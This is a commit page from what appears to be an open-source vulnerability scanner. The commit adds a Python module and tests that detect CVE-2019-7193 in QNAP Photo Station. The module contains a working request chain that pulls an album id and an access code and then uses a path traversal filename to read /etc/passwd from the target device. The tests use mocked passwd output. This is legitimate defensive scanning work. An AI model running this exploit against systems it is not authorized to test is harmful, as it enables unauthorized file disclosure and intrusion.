Skip to content

Commit

Permalink
Merge remote-tracking branch 'origin/main' into exploit/CVE_2019_1298…
Browse files Browse the repository at this point in the history
…9_CVE_2019_12991

# Conflicts:
#	tests/exploits_registry_test.py
  • Loading branch information
PiranhaSa committed Nov 24, 2023
2 parents 67919ba + 5c970af commit e41197a
Show file tree
Hide file tree
Showing 2 changed files with 182 additions and 0 deletions.
126 changes: 126 additions & 0 deletions agent/exploits/cve_2019_7193.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,126 @@
"""Agent Asteroid implementation for CVE-2019-7193"""
import re

import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions

from agent import definitions
from agent import exploits_registry

VULNERABILITY_TITLE = "QNAP QTS Improper Input Validation Vulnerability"
VULNERABILITY_REFERENCE = "CVE-2019-7193"
VULNERABILITY_DESCRIPTION = (
"This improper input validation vulnerability allows remote attackers to inject arbitrary code to the system. "
"To fix the vulnerability, QNAP recommend updating QTS to their latest versions."
)

DEFAULT_TIMEOUT = 90
HEADERS = {"User-Agent": "Gundy - QNAP RCE"}
TARGET_FILE = "./../../../../../etc/passwd"


@exploits_registry.register
class CVE20197193Exploit(definitions.Exploit):
"""
CVE-2019-7193: QNAP QTS Improper Input Validation Vulnerability
"""

def accept(self, target: definitions.Target) -> bool:
target_uri = f"{target.scheme}://{target.host}:{target.port}"
try:
resp = requests.get(
target_uri + "/cgi-bin/", verify=False, timeout=DEFAULT_TIMEOUT
)
except requests_exceptions.RequestException:
return False
return resp.status_code == 200

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
target_uri = f"{target.scheme}://{target.host}:{target.port}"
session = requests.Session()

# Get album id
resp = session.post(
target_uri + "/photo/p/api/album.php",
data={"a": "setSlideshow", "f": "qsamplealbum"},
headers=HEADERS,
verify=False,
timeout=DEFAULT_TIMEOUT,
)
if resp.status_code != 200:
return []
album_match = re.search("(?<=<output>).*?(?=</output>)", resp.text)
if album_match is None:
return []
album_id = album_match.group()

# Get access code
resp = session.get(
target_uri + "/photo/slideshow.php?album=" + album_id,
headers=HEADERS,
verify=False,
timeout=DEFAULT_TIMEOUT,
)
if resp.status_code != 200:
return []
access_match = re.search("(?<=encodeURIComponent\\(').*?(?=')", resp.text)
if access_match is None:
return []
access_code = access_match.group()

# Read local file
post_data = {
"album": album_id,
"a": "caption",
"ac": access_code,
"f": "UMGObv",
"filename": TARGET_FILE,
}
resp = session.post(
target_uri + "/photo/p/api/video.php",
data=post_data,
headers=HEADERS,
verify=False,
timeout=DEFAULT_TIMEOUT,
)
if b"/bin/sh" not in resp.content:
return []

vulnerability = self._create_vulnerability(target_uri)
return [vulnerability]

def _create_vulnerability(self, target_uri: str) -> definitions.Vulnerability:
entry = kb.Entry(
title=VULNERABILITY_TITLE,
risk_rating="CRITICAL",
short_description=VULNERABILITY_DESCRIPTION,
description=VULNERABILITY_DESCRIPTION,
references={
"nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}",
"qnap.com": "https://www.qnap.com/en-us/security-advisory/nas-201911-25",
"packetstormsecurity.com": "https://packetstormsecurity.com/files/157857/"
"QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html",
},
recommendation=(
"- Make sure to install the latest security patches from software vendor \n"
"- Update to the latest software version"
),
security_issue=True,
privacy_issue=False,
has_public_exploit=True,
targeted_by_malware=True,
targeted_by_ransomware=True,
targeted_by_nation_state=True,
)
technical_detail = (
f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, "
f"{VULNERABILITY_TITLE}"
)
vulnerability = definitions.Vulnerability(
entry=entry,
technical_detail=technical_detail,
risk_rating=agent_report_vulnerability_mixin.RiskRating.CRITICAL,
)
return vulnerability
56 changes: 56 additions & 0 deletions tests/exploits/cve_2019_7193_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
"""Unit tests for CVE-2019-7193"""
import requests_mock as req_mock
from agent.exploits import cve_2019_7193
from agent import definitions


def testCVE20197193_whenVulnerable_reportFinding(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Unit test for CVE-2019-7193, case when target is vulnerable."""
target = definitions.Target(scheme="https", host="127.0.0.1", port=443)
exploit_instance = cve_2019_7193.CVE20197193Exploit()
requests_mock.post(
"https://127.0.0.1:443/photo/p/api/album.php",
content=b"<output>xyz</output>",
)
requests_mock.get(
"https://127.0.0.1:443/photo/slideshow.php?album=xyz",
content=b"encodeURIComponent('abc')",
)
requests_mock.post(
"https://127.0.0.1:443/photo/p/api/video.php",
content=b"admin:x:0:0:administrator,,,:/share/homes/admin:/bin/sh"
b"guest:x:65534:65534:guest:/share/homes/guest:/bin/sh"
b"httpdusr:x:99:0:Apache httpd user:/tmp:/bin/sh"
b"[sshd]:x:110:65534:SSHD Privilege Separation:/var/empty:/bin/sh",
)

vulnerabilities = exploit_instance.check(target)
vulnerability = vulnerabilities[0]

assert (
vulnerability.entry.title == "QNAP QTS Improper Input Validation Vulnerability"
)
assert (
vulnerability.technical_detail
== "https://127.0.0.1:443 is vulnerable to CVE-2019-7193, "
"QNAP QTS Improper Input Validation Vulnerability"
)
assert vulnerability.risk_rating.name == "CRITICAL"


def testCVE20197193_whenSafe_reportNothing(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Unit test for CVE-2019-7193, case when target is safe."""
target = definitions.Target(scheme="https", host="127.0.0.1", port=443)
exploit_instance = cve_2019_7193.CVE20197193Exploit()
requests_mock.post(
"https://127.0.0.1:443/photo/p/api/album.php",
content=b"Invalid Request",
)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 0

0 comments on commit e41197a

Please sign in to comment.